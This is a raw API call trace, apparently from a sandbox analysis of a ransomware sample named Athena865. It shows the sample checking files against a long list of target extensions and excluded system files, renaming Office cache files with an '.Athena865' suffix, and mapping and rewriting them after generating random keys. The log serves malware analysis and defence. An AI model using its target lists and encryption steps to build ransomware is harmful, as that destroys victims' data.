(lpString="mud") returned 3 [0055.521] lstrcmpiW (lpString1="cab", lpString2="mud") returned -1 [0055.521] lstrlenW (lpString="mwb") returned 3 [0055.521] lstrcmpiW (lpString1="cab", lpString2="mwb") returned -1 [0055.521] lstrlenW (lpString="myd") returned 3 [0055.521] lstrcmpiW (lpString1="cab", lpString2="myd") returned -1 [0055.521] lstrlenW (lpString="ndf") returned 3 [0055.521] lstrcmpiW (lpString1="cab", lpString2="ndf") returned -1 [0055.521] lstrlenW (lpString="nnt") returned 3 [0055.521] lstrcmpiW (lpString1="cab", lpString2="nnt") returned -1 [0055.521] lstrlenW (lpString="nrmlib") returned 6 [0055.521] lstrcmpiW (lpString1="LR.cab", lpString2="nrmlib") returned -1 [0055.521] lstrlenW (lpString="ns2") returned 3 [0055.521] lstrcmpiW (lpString1="cab", lpString2="ns2") returned -1 [0055.521] lstrlenW (lpString="ns3") returned 3 [0055.521] lstrcmpiW (lpString1="cab", lpString2="ns3") returned -1 [0055.521] lstrlenW (lpString="ns4") returned 3 [0055.521] lstrcmpiW (lpString1="cab", lpString2="ns4") returned -1 [0055.521] lstrlenW (lpString="nsf") returned 3 [0055.521] lstrcmpiW (lpString1="cab", lpString2="nsf") returned -1 [0055.521] lstrlenW (lpString="nv") returned 2 [0055.521] lstrcmpiW (lpString1="ab", lpString2="nv") returned -1 [0055.521] lstrlenW (lpString="nv2") returned 3 [0055.521] lstrcmpiW (lpString1="cab", lpString2="nv2") returned -1 [0055.521] lstrlenW (lpString="nwdb") returned 4 [0055.521] lstrcmpiW (lpString1=".cab", lpString2="nwdb") returned -1 [0055.521] lstrlenW (lpString="nyf") returned 3 [0055.522] lstrcmpiW (lpString1="cab", lpString2="nyf") returned -1 [0055.522] lstrlenW (lpString="odb") returned 3 [0055.522] lstrcmpiW (lpString1="cab", lpString2="odb") returned -1 [0055.522] lstrlenW (lpString="odb") returned 3 [0055.522] lstrcmpiW (lpString1="cab", lpString2="odb") returned -1 [0055.522] lstrlenW (lpString="oqy") returned 3 [0055.522] lstrcmpiW (lpString1="cab", lpString2="oqy") returned -1 [0055.522] lstrlenW (lpString="ora") returned 3 [0055.522] lstrcmpiW (lpString1="cab", lpString2="ora") returned -1 [0055.522] lstrlenW (lpString="orx") returned 3 [0055.522] lstrcmpiW (lpString1="cab", lpString2="orx") returned -1 [0055.522] lstrlenW (lpString="owc") returned 3 [0055.522] lstrcmpiW (lpString1="cab", lpString2="owc") returned -1 [0055.522] lstrlenW (lpString="p96") returned 3 [0055.522] lstrcmpiW (lpString1="cab", lpString2="p96") returned -1 [0055.522] lstrlenW (lpString="p97") returned 3 [0055.522] lstrcmpiW (lpString1="cab", lpString2="p97") returned -1 [0055.522] lstrlenW (lpString="pan") returned 3 [0055.522] lstrcmpiW (lpString1="cab", lpString2="pan") returned -1 [0055.522] lstrlenW (lpString="pdb") returned 3 [0055.522] lstrcmpiW (lpString1="cab", lpString2="pdb") returned -1 [0055.522] lstrlenW (lpString="pdm") returned 3 [0055.522] lstrcmpiW (lpString1="cab", lpString2="pdm") returned -1 [0055.522] lstrlenW (lpString="pnz") returned 3 [0055.522] lstrcmpiW (lpString1="cab", lpString2="pnz") returned -1 [0055.523] lstrlenW (lpString="qry") returned 3 [0055.524] lstrcmpiW (lpString1="cab", lpString2="qry") returned -1 [0055.525] lstrlenW (lpString="qvd") returned 3 [0055.525] lstrcmpiW (lpString1="cab", lpString2="qvd") returned -1 [0055.525] lstrlenW (lpString="rbf") returned 3 [0055.525] lstrcmpiW (lpString1="cab", lpString2="rbf") returned -1 [0055.525] lstrlenW (lpString="rctd") returned 4 [0055.526] lstrcmpiW (lpString1=".cab", lpString2="rctd") returned -1 [0055.526] lstrlenW (lpString="rod") returned 3 [0055.529] lstrcmpiW (lpString1="cab", lpString2="rod") returned -1 [0055.529] lstrlenW (lpString="rodx") returned 4 [0055.529] lstrcmpiW (lpString1=".cab", lpString2="rodx") returned -1 [0055.529] lstrlenW (lpString="rpd") returned 3 [0055.529] lstrcmpiW (lpString1="cab", lpString2="rpd") returned -1 [0055.529] lstrlenW (lpString="rsd") returned 3 [0055.529] lstrcmpiW (lpString1="cab", lpString2="rsd") returned -1 [0055.529] lstrlenW (lpString="sas7bdat") returned 8 [0055.529] lstrcmpiW (lpString1="lkLR.cab", lpString2="sas7bdat") returned -1 [0055.530] lstrlenW (lpString="sbf") returned 3 [0055.530] lstrcmpiW (lpString1="cab", lpString2="sbf") returned -1 [0055.530] lstrlenW (lpString="scx") returned 3 [0055.530] lstrcmpiW (lpString1="cab", lpString2="scx") returned -1 [0055.530] lstrlenW (lpString="sdb") returned 3 [0055.530] lstrcmpiW (lpString1="cab", lpString2="sdb") returned -1 [0055.530] lstrlenW (lpString="sdc") returned 3 [0055.530] lstrcmpiW (lpString1="cab", lpString2="sdc") returned -1 [0055.530] lstrlenW (lpString="sdf") returned 3 [0055.530] lstrcmpiW (lpString1="cab", lpString2="sdf") returned -1 [0055.530] lstrlenW (lpString="sis") returned 3 [0055.530] lstrcmpiW (lpString1="cab", lpString2="sis") returned -1 [0055.530] lstrlenW (lpString="spq") returned 3 [0055.530] lstrcmpiW (lpString1="cab", lpString2="spq") returned -1 [0055.530] lstrlenW (lpString="te") returned 2 [0055.530] lstrcmpiW (lpString1="ab", lpString2="te") returned -1 [0055.530] lstrlenW (lpString="teacher") returned 7 [0055.530] lstrcmpiW (lpString1="kLR.cab", lpString2="teacher") returned -1 [0055.530] lstrlenW (lpString="tmd") returned 3 [0055.530] lstrcmpiW (lpString1="cab", lpString2="tmd") returned -1 [0055.530] lstrlenW (lpString="tps") returned 3 [0055.530] lstrcmpiW (lpString1="cab", lpString2="tps") returned -1 [0055.530] lstrlenW (lpString="trc") returned 3 [0055.530] lstrcmpiW (lpString1="cab", lpString2="trc") returned -1 [0055.530] lstrlenW (lpString="trc") returned 3 [0055.530] lstrcmpiW (lpString1="cab", lpString2="trc") returned -1 [0055.530] lstrlenW (lpString="trm") returned 3 [0055.530] lstrcmpiW (lpString1="cab", lpString2="trm") returned -1 [0055.530] lstrlenW (lpString="udb") returned 3 [0055.530] lstrcmpiW (lpString1="cab", lpString2="udb") returned -1 [0055.530] lstrlenW (lpString="udl") returned 3 [0055.530] lstrcmpiW (lpString1="cab", lpString2="udl") returned -1 [0055.531] lstrlenW (lpString="usr") returned 3 [0055.531] lstrcmpiW (lpString1="cab", lpString2="usr") returned -1 [0055.531] lstrlenW (lpString="v12") returned 3 [0055.531] lstrcmpiW (lpString1="cab", lpString2="v12") returned -1 [0055.531] lstrlenW (lpString="vis") returned 3 [0055.531] lstrcmpiW (lpString1="cab", lpString2="vis") returned -1 [0055.531] lstrlenW (lpString="vpd") returned 3 [0055.531] lstrcmpiW (lpString1="cab", lpString2="vpd") returned -1 [0055.531] lstrlenW (lpString="vvv") returned 3 [0055.531] lstrcmpiW (lpString1="cab", lpString2="vvv") returned -1 [0055.531] lstrlenW (lpString="wdb") returned 3 [0055.531] lstrcmpiW (lpString1="cab", lpString2="wdb") returned -1 [0055.531] lstrlenW (lpString="wmdb") returned 4 [0055.531] lstrcmpiW (lpString1=".cab", lpString2="wmdb") returned -1 [0055.531] lstrlenW (lpString="wrk") returned 3 [0055.531] lstrcmpiW (lpString1="cab", lpString2="wrk") returned -1 [0055.531] lstrlenW (lpString="xdb") returned 3 [0055.531] lstrcmpiW (lpString1="cab", lpString2="xdb") returned -1 [0055.531] lstrlenW (lpString="xld") returned 3 [0055.531] lstrcmpiW (lpString1="cab", lpString2="xld") returned -1 [0055.531] lstrlenW (lpString="xmlff") returned 5 [0055.531] lstrcmpiW (lpString1="R.cab", lpString2="xmlff") returned -1 [0055.531] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab.Athena865") returned 84 [0055.531] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab.athena865"), dwFlags=0x1) returned 1 [0055.532] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0055.532] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=14819276) returned 1 [0055.532] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0055.532] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52de58 [0055.532] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518ab8 [0055.532] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518b40) returned 1 [0055.533] CryptGenRandom (in: hProv=0x518b40, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0055.533] CryptReleaseContext (hProv=0x518b40, dwFlags=0x0) returned 1 [0055.533] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xe222d0, lpName=0x0) returned 0x154 [0055.535] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0xe00000, dwNumberOfBytesToMap=0x222d0) returned 0x170000 [0055.542] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x200000) returned 0x3000000 [0055.694] UnmapViewOfFile (lpBaseAddress=0x3000000) returned 1 [0055.745] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518b40) returned 1 [0055.746] CryptGenRandom (in: hProv=0x518b40, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0055.746] CryptReleaseContext (hProv=0x518b40, dwFlags=0x0) returned 1 [0055.747] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0055.747] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0055.747] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52dfb8 [0055.747] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0055.747] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dfb8 | out: hHeap=0x4f0000) returned 1 [0055.747] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0055.747] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b3b0 [0055.747] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0055.747] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0055.747] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0055.747] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0055.749] CloseHandle (hObject=0x154) returned 1 [0055.749] CloseHandle (hObject=0x17c) returned 1 [0055.749] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52de58 | out: hHeap=0x4f0000) returned 1 [0055.749] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518ab8 | out: hHeap=0x4f0000) returned 1 [0055.749] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0055.758] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee827f20, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2bba00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OutlookMUI.msi", cAlternateFileName="OUTLOO~1.MSI")) returned 1 [0055.758] lstrcmpiW (lpString1="OutlookMUI.msi", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0055.758] lstrcmpiW (lpString1="OutlookMUI.msi", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0055.758] lstrcmpiW (lpString1="OutlookMUI.msi", lpString2=".") returned 1 [0055.758] lstrcmpiW (lpString1="OutlookMUI.msi", lpString2="..") returned 1 [0055.758] lstrcmpiW (lpString1="OutlookMUI.msi", lpString2="windows") returned -1 [0055.758] lstrcmpiW (lpString1="OutlookMUI.msi", lpString2="bootmgr") returned 1 [0055.758] lstrcmpiW (lpString1="OutlookMUI.msi", lpString2="temp") returned -1 [0055.758] lstrcmpiW (lpString1="OutlookMUI.msi", lpString2="pagefile.sys") returned -1 [0055.758] lstrcmpiW (lpString1="OutlookMUI.msi", lpString2="boot") returned 1 [0055.758] lstrcmpiW (lpString1="OutlookMUI.msi", lpString2="ids.txt") returned 1 [0055.758] lstrcmpiW (lpString1="OutlookMUI.msi", lpString2="ntuser.dat") returned 1 [0055.758] lstrcmpiW (lpString1="OutlookMUI.msi", lpString2="perflogs") returned -1 [0055.758] lstrcmpiW (lpString1="OutlookMUI.msi", lpString2="MSBuild") returned 1 [0055.758] lstrlenW (lpString="OutlookMUI.msi") returned 14 [0055.758] lstrcpyW (in: lpString1=0x241e8c6, lpString2="OutlookMUI.msi" | out: lpString1="OutlookMUI.msi") returned="OutlookMUI.msi" [0055.758] lstrlenW (lpString="OutlookMUI.msi") returned 14 [0055.758] lstrlenW (lpString="Athena865") returned 9 [0055.758] lstrcmpiW (lpString1="okMUI.msi", lpString2="Athena865") returned 1 [0055.758] lstrlenW (lpString=".dll") returned 4 [0055.758] lstrcmpiW (lpString1="OutlookMUI.msi", lpString2=".dll") returned 1 [0055.758] lstrlenW (lpString=".lnk") returned 4 [0055.758] lstrcmpiW (lpString1="OutlookMUI.msi", lpString2=".lnk") returned 1 [0055.758] lstrlenW (lpString=".ini") returned 4 [0055.758] lstrcmpiW (lpString1="OutlookMUI.msi", lpString2=".ini") returned 1 [0055.758] lstrlenW (lpString=".sys") returned 4 [0055.758] lstrcmpiW (lpString1="OutlookMUI.msi", lpString2=".sys") returned 1 [0055.759] lstrlenW (lpString="OutlookMUI.msi") returned 14 [0055.759] lstrlenW (lpString="bak") returned 3 [0055.759] lstrcmpiW (lpString1="msi", lpString2="bak") returned 1 [0055.759] lstrlenW (lpString="ba_") returned 3 [0055.759] lstrcmpiW (lpString1="msi", lpString2="ba_") returned 1 [0055.759] lstrlenW (lpString="dbb") returned 3 [0055.759] lstrcmpiW (lpString1="msi", lpString2="dbb") returned 1 [0055.759] lstrlenW (lpString="vmdk") returned 4 [0055.759] lstrcmpiW (lpString1=".msi", lpString2="vmdk") returned -1 [0055.759] lstrlenW (lpString="rar") returned 3 [0055.759] lstrcmpiW (lpString1="msi", lpString2="rar") returned -1 [0055.759] lstrlenW (lpString="zip") returned 3 [0055.759] lstrcmpiW (lpString1="msi", lpString2="zip") returned -1 [0055.759] lstrlenW (lpString="tgz") returned 3 [0055.759] lstrcmpiW (lpString1="msi", lpString2="tgz") returned -1 [0055.759] lstrlenW (lpString="vbox") returned 4 [0055.759] lstrcmpiW (lpString1=".msi", lpString2="vbox") returned -1 [0055.759] lstrlenW (lpString="vdi") returned 3 [0055.759] lstrcmpiW (lpString1="msi", lpString2="vdi") returned -1 [0055.759] lstrlenW (lpString="vhd") returned 3 [0055.759] lstrcmpiW (lpString1="msi", lpString2="vhd") returned -1 [0055.759] lstrlenW (lpString="vhdx") returned 4 [0055.759] lstrcmpiW (lpString1=".msi", lpString2="vhdx") returned -1 [0055.759] lstrlenW (lpString="avhd") returned 4 [0055.759] lstrcmpiW (lpString1=".msi", lpString2="avhd") returned -1 [0055.759] lstrlenW (lpString="db") returned 2 [0055.759] lstrcmpiW (lpString1="si", lpString2="db") returned 1 [0055.759] lstrlenW (lpString="db2") returned 3 [0055.759] lstrcmpiW (lpString1="msi", lpString2="db2") returned 1 [0055.759] lstrlenW (lpString="db3") returned 3 [0055.759] lstrcmpiW (lpString1="msi", lpString2="db3") returned 1 [0055.759] lstrlenW (lpString="dbf") returned 3 [0055.759] lstrcmpiW (lpString1="msi", lpString2="dbf") returned 1 [0055.759] lstrlenW (lpString="mdf") returned 3 [0055.760] lstrcmpiW (lpString1="msi", lpString2="mdf") returned 1 [0055.760] lstrlenW (lpString="mdb") returned 3 [0055.760] lstrcmpiW (lpString1="msi", lpString2="mdb") returned 1 [0055.760] lstrlenW (lpString="sql") returned 3 [0055.760] lstrcmpiW (lpString1="msi", lpString2="sql") returned -1 [0055.760] lstrlenW (lpString="sqlite") returned 6 [0055.760] lstrcmpiW (lpString1="UI.msi", lpString2="sqlite") returned 1 [0055.760] lstrlenW (lpString="sqlite3") returned 7 [0055.760] lstrcmpiW (lpString1="MUI.msi", lpString2="sqlite3") returned -1 [0055.760] lstrlenW (lpString="sqlitedb") returned 8 [0055.760] lstrcmpiW (lpString1="kMUI.msi", lpString2="sqlitedb") returned -1 [0055.760] lstrlenW (lpString="xml") returned 3 [0055.760] lstrcmpiW (lpString1="msi", lpString2="xml") returned -1 [0055.760] lstrlenW (lpString="$er") returned 3 [0055.760] lstrcmpiW (lpString1="msi", lpString2="$er") returned 1 [0055.760] lstrlenW (lpString="4dd") returned 3 [0055.760] lstrcmpiW (lpString1="msi", lpString2="4dd") returned 1 [0055.760] lstrlenW (lpString="4dl") returned 3 [0055.760] lstrcmpiW (lpString1="msi", lpString2="4dl") returned 1 [0055.760] lstrlenW (lpString="^^^") returned 3 [0055.760] lstrcmpiW (lpString1="msi", lpString2="^^^") returned 1 [0055.760] lstrlenW (lpString="abs") returned 3 [0055.760] lstrcmpiW (lpString1="msi", lpString2="abs") returned 1 [0055.760] lstrlenW (lpString="abx") returned 3 [0055.760] lstrcmpiW (lpString1="msi", lpString2="abx") returned 1 [0055.760] lstrlenW (lpString="accdb") returned 5 [0055.760] lstrcmpiW (lpString1="I.msi", lpString2="accdb") returned 1 [0055.760] lstrlenW (lpString="accdc") returned 5 [0055.760] lstrcmpiW (lpString1="I.msi", lpString2="accdc") returned 1 [0055.760] lstrlenW (lpString="accde") returned 5 [0055.760] lstrcmpiW (lpString1="I.msi", lpString2="accde") returned 1 [0055.760] lstrlenW (lpString="accdr") returned 5 [0055.760] lstrcmpiW (lpString1="I.msi", lpString2="accdr") returned 1 [0055.761] lstrlenW (lpString="accdt") returned 5 [0055.761] lstrcmpiW (lpString1="I.msi", lpString2="accdt") returned 1 [0055.761] lstrlenW (lpString="accdw") returned 5 [0055.761] lstrcmpiW (lpString1="I.msi", lpString2="accdw") returned 1 [0055.761] lstrlenW (lpString="accft") returned 5 [0055.761] lstrcmpiW (lpString1="I.msi", lpString2="accft") returned 1 [0055.761] lstrlenW (lpString="adb") returned 3 [0055.761] lstrcmpiW (lpString1="msi", lpString2="adb") returned 1 [0055.761] lstrlenW (lpString="adb") returned 3 [0055.761] lstrcmpiW (lpString1="msi", lpString2="adb") returned 1 [0055.761] lstrlenW (lpString="ade") returned 3 [0055.761] lstrcmpiW (lpString1="msi", lpString2="ade") returned 1 [0055.761] lstrlenW (lpString="adf") returned 3 [0055.761] lstrcmpiW (lpString1="msi", lpString2="adf") returned 1 [0055.761] lstrlenW (lpString="adn") returned 3 [0055.761] lstrcmpiW (lpString1="msi", lpString2="adn") returned 1 [0055.761] lstrlenW (lpString="adp") returned 3 [0055.761] lstrcmpiW (lpString1="msi", lpString2="adp") returned 1 [0055.761] lstrlenW (lpString="alf") returned 3 [0055.761] lstrcmpiW (lpString1="msi", lpString2="alf") returned 1 [0055.761] lstrlenW (lpString="ask") returned 3 [0055.761] lstrcmpiW (lpString1="msi", lpString2="ask") returned 1 [0055.761] lstrlenW (lpString="btr") returned 3 [0055.761] lstrcmpiW (lpString1="msi", lpString2="btr") returned 1 [0055.761] lstrlenW (lpString="cat") returned 3 [0055.761] lstrcmpiW (lpString1="msi", lpString2="cat") returned 1 [0055.761] lstrlenW (lpString="cdb") returned 3 [0055.761] lstrcmpiW (lpString1="msi", lpString2="cdb") returned 1 [0055.761] lstrlenW (lpString="ckp") returned 3 [0055.761] lstrcmpiW (lpString1="msi", lpString2="ckp") returned 1 [0055.761] lstrlenW (lpString="cma") returned 3 [0055.761] lstrcmpiW (lpString1="msi", lpString2="cma") returned 1 [0055.761] lstrlenW (lpString="cpd") returned 3 [0055.761] lstrcmpiW (lpString1="msi", lpString2="cpd") returned 1 [0055.762] lstrlenW (lpString="dacpac") returned 6 [0055.762] lstrcmpiW (lpString1="UI.msi", lpString2="dacpac") returned 1 [0055.762] lstrlenW (lpString="dad") returned 3 [0055.762] lstrcmpiW (lpString1="msi", lpString2="dad") returned 1 [0055.762] lstrlenW (lpString="dadiagrams") returned 10 [0055.762] lstrcmpiW (lpString1="ookMUI.msi", lpString2="dadiagrams") returned 1 [0055.762] lstrlenW (lpString="daschema") returned 8 [0055.762] lstrcmpiW (lpString1="kMUI.msi", lpString2="daschema") returned 1 [0055.762] lstrlenW (lpString="db-journal") returned 10 [0055.762] lstrcmpiW (lpString1="ookMUI.msi", lpString2="db-journal") returned 1 [0055.762] lstrlenW (lpString="db-shm") returned 6 [0055.762] lstrcmpiW (lpString1="UI.msi", lpString2="db-shm") returned 1 [0055.762] lstrlenW (lpString="db-wal") returned 6 [0055.762] lstrcmpiW (lpString1="UI.msi", lpString2="db-wal") returned 1 [0055.762] lstrlenW (lpString="dbc") returned 3 [0055.762] lstrcmpiW (lpString1="msi", lpString2="dbc") returned 1 [0055.762] lstrlenW (lpString="dbs") returned 3 [0055.762] lstrcmpiW (lpString1="msi", lpString2="dbs") returned 1 [0055.762] lstrlenW (lpString="dbt") returned 3 [0055.762] lstrcmpiW (lpString1="msi", lpString2="dbt") returned 1 [0055.762] lstrlenW (lpString="dbv") returned 3 [0055.762] lstrcmpiW (lpString1="msi", lpString2="dbv") returned 1 [0055.762] lstrlenW (lpString="dbx") returned 3 [0055.762] lstrcmpiW (lpString1="msi", lpString2="dbx") returned 1 [0055.762] lstrlenW (lpString="dcb") returned 3 [0055.762] lstrcmpiW (lpString1="msi", lpString2="dcb") returned 1 [0055.762] lstrlenW (lpString="dct") returned 3 [0055.762] lstrcmpiW (lpString1="msi", lpString2="dct") returned 1 [0055.762] lstrlenW (lpString="dcx") returned 3 [0055.762] lstrcmpiW (lpString1="msi", lpString2="dcx") returned 1 [0055.762] lstrlenW (lpString="ddl") returned 3 [0055.762] lstrcmpiW (lpString1="msi", lpString2="ddl") returned 1 [0055.762] lstrlenW (lpString="dlis") returned 4 [0055.762] lstrcmpiW (lpString1=".msi", lpString2="dlis") returned -1 [0055.763] lstrlenW (lpString="dp1") returned 3 [0055.763] lstrcmpiW (lpString1="msi", lpString2="dp1") returned 1 [0055.763] lstrlenW (lpString="dqy") returned 3 [0055.763] lstrcmpiW (lpString1="msi", lpString2="dqy") returned 1 [0055.763] lstrlenW (lpString="dsk") returned 3 [0055.763] lstrcmpiW (lpString1="msi", lpString2="dsk") returned 1 [0055.763] lstrlenW (lpString="dsn") returned 3 [0055.763] lstrcmpiW (lpString1="msi", lpString2="dsn") returned 1 [0055.763] lstrlenW (lpString="dtsx") returned 4 [0055.763] lstrcmpiW (lpString1=".msi", lpString2="dtsx") returned -1 [0055.763] lstrlenW (lpString="dxl") returned 3 [0055.763] lstrcmpiW (lpString1="msi", lpString2="dxl") returned 1 [0055.763] lstrlenW (lpString="eco") returned 3 [0055.763] lstrcmpiW (lpString1="msi", lpString2="eco") returned 1 [0055.763] lstrlenW (lpString="ecx") returned 3 [0055.763] lstrcmpiW (lpString1="msi", lpString2="ecx") returned 1 [0055.763] lstrlenW (lpString="edb") returned 3 [0055.763] lstrcmpiW (lpString1="msi", lpString2="edb") returned 1 [0055.763] lstrlenW (lpString="epim") returned 4 [0055.763] lstrcmpiW (lpString1=".msi", lpString2="epim") returned -1 [0055.763] lstrlenW (lpString="fcd") returned 3 [0055.763] lstrcmpiW (lpString1="msi", lpString2="fcd") returned 1 [0055.763] lstrlenW (lpString="fdb") returned 3 [0055.763] lstrcmpiW (lpString1="msi", lpString2="fdb") returned 1 [0055.763] lstrlenW (lpString="fic") returned 3 [0055.763] lstrcmpiW (lpString1="msi", lpString2="fic") returned 1 [0055.763] lstrlenW (lpString="flexolibrary") returned 12 [0055.763] lstrcmpiW (lpString1="tlookMUI.msi", lpString2="flexolibrary") returned 1 [0055.763] lstrlenW (lpString="fm5") returned 3 [0055.763] lstrcmpiW (lpString1="msi", lpString2="fm5") returned 1 [0055.763] lstrlenW (lpString="fmp") returned 3 [0055.763] lstrcmpiW (lpString1="msi", lpString2="fmp") returned 1 [0055.764] lstrlenW (lpString="fmp12") returned 5 [0055.764] lstrcmpiW (lpString1="I.msi", lpString2="fmp12") returned 1 [0055.764] lstrlenW (lpString="fmpsl") returned 5 [0055.764] lstrcmpiW (lpString1="I.msi", lpString2="fmpsl") returned 1 [0055.764] lstrlenW (lpString="fol") returned 3 [0055.764] lstrcmpiW (lpString1="msi", lpString2="fol") returned 1 [0055.764] lstrlenW (lpString="fp3") returned 3 [0055.764] lstrcmpiW (lpString1="msi", lpString2="fp3") returned 1 [0055.764] lstrlenW (lpString="fp4") returned 3 [0055.764] lstrcmpiW (lpString1="msi", lpString2="fp4") returned 1 [0055.764] lstrlenW (lpString="fp5") returned 3 [0055.764] lstrcmpiW (lpString1="msi", lpString2="fp5") returned 1 [0055.764] lstrlenW (lpString="fp7") returned 3 [0055.764] lstrcmpiW (lpString1="msi", lpString2="fp7") returned 1 [0055.764] lstrlenW (lpString="fpt") returned 3 [0055.764] lstrcmpiW (lpString1="msi", lpString2="fpt") returned 1 [0055.764] lstrlenW (lpString="frm") returned 3 [0055.764] lstrcmpiW (lpString1="msi", lpString2="frm") returned 1 [0055.764] lstrlenW (lpString="gdb") returned 3 [0055.764] lstrcmpiW (lpString1="msi", lpString2="gdb") returned 1 [0055.764] lstrlenW (lpString="gdb") returned 3 [0055.764] lstrcmpiW (lpString1="msi", lpString2="gdb") returned 1 [0055.764] lstrlenW (lpString="grdb") returned 4 [0055.764] lstrcmpiW (lpString1=".msi", lpString2="grdb") returned -1 [0055.764] lstrlenW (lpString="gwi") returned 3 [0055.764] lstrcmpiW (lpString1="msi", lpString2="gwi") returned 1 [0055.764] lstrlenW (lpString="hdb") returned 3 [0055.764] lstrcmpiW (lpString1="msi", lpString2="hdb") returned 1 [0055.764] lstrlenW (lpString="his") returned 3 [0055.764] lstrcmpiW (lpString1="msi", lpString2="his") returned 1 [0055.764] lstrlenW (lpString="ib") returned 2 [0055.764] lstrcmpiW (lpString1="si", lpString2="ib") returned 1 [0055.764] lstrlenW (lpString="idb") returned 3 [0055.764] lstrcmpiW (lpString1="msi", lpString2="idb") returned 1 [0055.765] lstrlenW (lpString="ihx") returned 3 [0055.765] lstrcmpiW (lpString1="msi", lpString2="ihx") returned 1 [0055.765] lstrlenW (lpString="itdb") returned 4 [0055.765] lstrcmpiW (lpString1=".msi", lpString2="itdb") returned -1 [0055.765] lstrlenW (lpString="itw") returned 3 [0055.765] lstrcmpiW (lpString1="msi", lpString2="itw") returned 1 [0055.765] lstrlenW (lpString="jet") returned 3 [0055.765] lstrcmpiW (lpString1="msi", lpString2="jet") returned 1 [0055.765] lstrlenW (lpString="jtx") returned 3 [0055.765] lstrcmpiW (lpString1="msi", lpString2="jtx") returned 1 [0055.765] lstrlenW (lpString="kdb") returned 3 [0055.765] lstrcmpiW (lpString1="msi", lpString2="kdb") returned 1 [0055.765] lstrlenW (lpString="kexi") returned 4 [0055.765] lstrcmpiW (lpString1=".msi", lpString2="kexi") returned -1 [0055.765] lstrlenW (lpString="kexic") returned 5 [0055.765] lstrcmpiW (lpString1="I.msi", lpString2="kexic") returned -1 [0055.765] lstrlenW (lpString="kexis") returned 5 [0055.765] lstrcmpiW (lpString1="I.msi", lpString2="kexis") returned -1 [0055.765] lstrlenW (lpString="lgc") returned 3 [0055.765] lstrcmpiW (lpString1="msi", lpString2="lgc") returned 1 [0055.765] lstrlenW (lpString="lwx") returned 3 [0055.765] lstrcmpiW (lpString1="msi", lpString2="lwx") returned 1 [0055.765] lstrlenW (lpString="maf") returned 3 [0055.765] lstrcmpiW (lpString1="msi", lpString2="maf") returned 1 [0055.765] lstrlenW (lpString="maq") 